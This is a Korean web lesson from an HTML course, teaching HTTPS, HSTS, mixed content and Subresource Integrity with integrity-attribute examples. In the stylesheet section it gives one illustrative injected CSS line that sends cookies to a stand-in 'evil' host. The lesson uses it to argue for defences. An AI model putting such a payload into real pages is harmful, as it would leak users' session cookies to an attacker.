0Pricing
HTML Academy · 강의

HTTPS 및 하위 리소스 무결성

integrity 속성으로 외부 리소스 무결성 확인하기

HTTPS 및 하위 리소스 무결성은(는) CoddyKit의 무료 HTML Academy 강의입니다. 이것은 4개 중 4번째 강의입니다. 아래에서 전체 강의를 무료로 읽을 수 있으며, 내장 코드 에디터와 24/7 AI 튜터와 함께 브라우저에서 직접 실습할 수 있습니다. 이 강의는 HTML Academy 학습 경로의 일부이며, 진행 상황이 웹과 CoddyKit 앱에 동기화됩니다. HTML Academy 강의에는 총 4개의 강의가 포함되어 있습니다.

어디서나 HTTPS를 사용하는 이유

HTTPS는 전송 중인 데이터를 암호화하고 서버를 인증합니다. HTTPS가 없으면 같은 네트워크에 있는 공격자(카페 와이파이, ISP, 국가 지원 공격자)가 모든 바이트를 읽고 응답에 악성 콘텐츠를 삽입할 수 있습니다. 최신 브라우저는 HTTP 페이지를 "안전하지 않음"으로 표시하며, 많은 API(카메라, 위치 정보, 서비스 워커)는 HTTP에서 작동하지 않습니다.

혼합 콘텐츠

HTTPS 페이지에서 HTTP 리소스를 불러오는 것을 혼합 콘텐츠라고 합니다. 브라우저는 활성 혼합 콘텐츠(스크립트, iframe, 스타일시트)를 즉시 차단하고 수동 혼합 콘텐츠(이미지)에 대해서는 경고합니다. 모든 리소스를 항상 HTTPS로 불러오고, 프로토콜 상대 URL(//cdn.example.com) 또는 절대 https:// URL을 사용하십시오.

HSTS

Strict-Transport-Security 응답 헤더를 통한 HTTP 엄격 전송 보안은 브라우저에 앞으로 도메인에 대한 HTTP 연결을 거부하도록 지시합니다. HSTS가 캐시되면 공격자가 중간자 위치에 있더라도 사용자를 HTTP로 강등할 수 없습니다.

SRI를 사용하는 이유

제3자 CDN에서 스크립트를 불러오면 편리하지만 위험합니다. CDN이 침해되면 공격자가 스크립트를 악성 코드로 바꿀 수 있습니다. 하위 리소스 무결성(SRI)을 사용하면 브라우저가 실행 전에 파일의 암호화 해시를 검증하고, 해시가 일치하지 않으면 실행을 거부합니다.

integrity 속성

스크립트 태그에 base64로 인코딩한 SHA-256/384/512 해시를 추가하십시오. <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script> 브라우저는 다운로드한 파일의 해시를 계산하고, 일치하지 않으면 실행을 거부합니다.

<link
  rel="stylesheet"
  href="https://cdn.example.com/styles.css"
  integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh"
  crossorigin="anonymous">

해시 생성

openssl로 해시를 생성하십시오. openssl dgst -sha384 -binary file.js | openssl base64 -A 또는 integrity 속성을 자동으로 생성하는 빌드 도구 플러그인을 사용하십시오. 대부분의 CDN은 복사하여 붙여 넣을 수 있는 코드 조각에 SRI 태그를 표시합니다.

crossorigin 필수

SRI를 사용하려면 교차 출처 응답이 CORS를 통해 무결성 검사를 허용해야 합니다. 태그에 crossorigin="anonymous"을 추가하고 CDN이 Access-Control-Allow-Origin을 전송하도록 설정하십시오. 그렇지 않으면 브라우저가 검증을 거부하고 리소스를 불러오지 못합니다.

여러 해시

integrity 속성에는 공백으로 구분한 여러 해시를 포함할 수 있습니다. 버전을 전환할 때 유용합니다. 이전 버전과 새 버전의 해시를 모두 나열하면 브라우저가 CDN에서 제공하는 버전에 해당하는 해시를 받아들입니다. 속성을 읽기 쉽게 유지하려면 해시를 두세 개보다 많이 지정하지 마십시오.

스타일시트의 SRI

SRI는 <link rel="stylesheet">도 보호합니다. 침해된 CSS 파일은 침해된 스크립트보다 직접적인 위험이 적지만, 삽입된 background: url("//evil/log?cookie=...")을 통해 여전히 데이터를 유출할 수 있습니다. 가능한 경우 모든 외부 리소스에 SRI를 적용하십시오.

직접 호스팅이 더 나은 경우

SRI는 CDN 침해를 완화하지만 모든 문제를 해결하지는 못합니다. CDN에서 해시가 변경되면 integrity 속성을 업데이트할 때까지 페이지가 작동하지 않습니다. 중요한 라이브러리는 검토한 파일을 직접 호스팅하십시오. 한 번의 변경으로 SRI 고정과 공급망 위험을 모두 없앨 수 있습니다.

성능

SRI는 리소스마다 해시를 계산하지만, 최신 하드웨어에서는 킬로바이트당 마이크로초 수준으로 무시할 수 있는 비용입니다. 공급망 공격에 대한 보호 효과가 비용보다 훨씬 큽니다. CDN에서 불러올 때 SRI를 생략할 성능상의 이유는 없습니다.

제한 사항

SRI는 특정 바이트를 검증하지만, CDN이 일부 사용자에게만 다른 파일을 제공하는 선택적 표적 공격까지 막지는 못합니다. 최대한의 보장을 위해 SRI를 HTTPS, HSTS, CSP 및 가장 중요한 리소스의 직접 호스팅과 함께 사용하십시오.

이해도 확인

스크립트 태그의 integrity 속성은 무엇을 방어합니까?

요약

HTTPS는 데이터를 암호화하고 인증하며, HSTS는 강등 공격을 방지하고, SRI는 제3자 파일이 변조되지 않았는지 검증합니다. 직접 관리하지 않는 CDN에서 제공하는 모든 외부 스크립트와 스타일시트에 integrity 해시와 crossorigin="anonymous"를 추가하십시오. 가장 중요한 리소스는 직접 호스팅하여 공급망 위험을 완전히 없애십시오.

자주 묻는 질문

“HTTPS 및 하위 리소스 무결성” 강의는 무료인가요?

네 — “HTTPS 및 하위 리소스 무결성” 전체 내용을 이 웹사이트에서 무료로 읽을 수 있습니다. 인터랙티브하게 실습하려면(내장 코드 에디터와 24/7 AI 튜터), CoddyKit PRO로 업그레이드하면 HTML Academy 강의 전체를 잠금 해제할 수 있습니다. HTML Academy 강의에는 총 4개의 강의가 포함되어 있습니다.

“HTTPS 및 하위 리소스 무결성”에서 뭘 배우나요?

integrity 속성으로 외부 리소스 무결성 확인하기 브라우저에서 직접 실행하는 실습 코드로 HTML Academy을(를) 배우며, 24/7 AI 튜터가 강의를 진행하면서 질문에 답변해줍니다.

HTML Academy을(를) 시작하는 데 경험이 필요한가요?

사전 경험은 필요하지 않습니다. CoddyKit의 HTML Academy은(는) 초급자부터 고급 학습자까지를 위해 구성되어 있으므로, 여기서 시작하거나 처음부터 시작할 수 있으며 자신의 속도대로 진행할 수 있습니다. 이것은 4개 중 4번째 강의입니다.

“HTTPS 및 하위 리소스 무결성” 강의는 얼마나 걸리나요?

대부분의 CoddyKit 강의는 약 5~10분이 소요됩니다. 각 강의는 간결하고 인터랙티브하여 꾸준한 진행이 가능하며, 웹과 앱에서 중단한 부분부터 바로 시작할 수 있습니다.

이 HTML Academy 강의에서 코드를 작성하고 실행할 수 있나요?

네. 모든 HTML Academy 강의에는 내장 코드 에디터가 포함되어 있으므로, 브라우저에서 바로 실제 코드를 작성하고 실행한 후 즉시 AI 피드백을 받을 수 있습니다 — 로컬 설정이 필요 없습니다.

이 강의의 모든 강의

  1. 콘텐츠 보안 정책 meta http-equiv
  2. innerHTML을 통한 XSS와 방지 방법
  3. iframe 샌드박스 및 권한 정책
  4. HTTPS 및 하위 리소스 무결성
← HTML Academy(으)로 돌아가기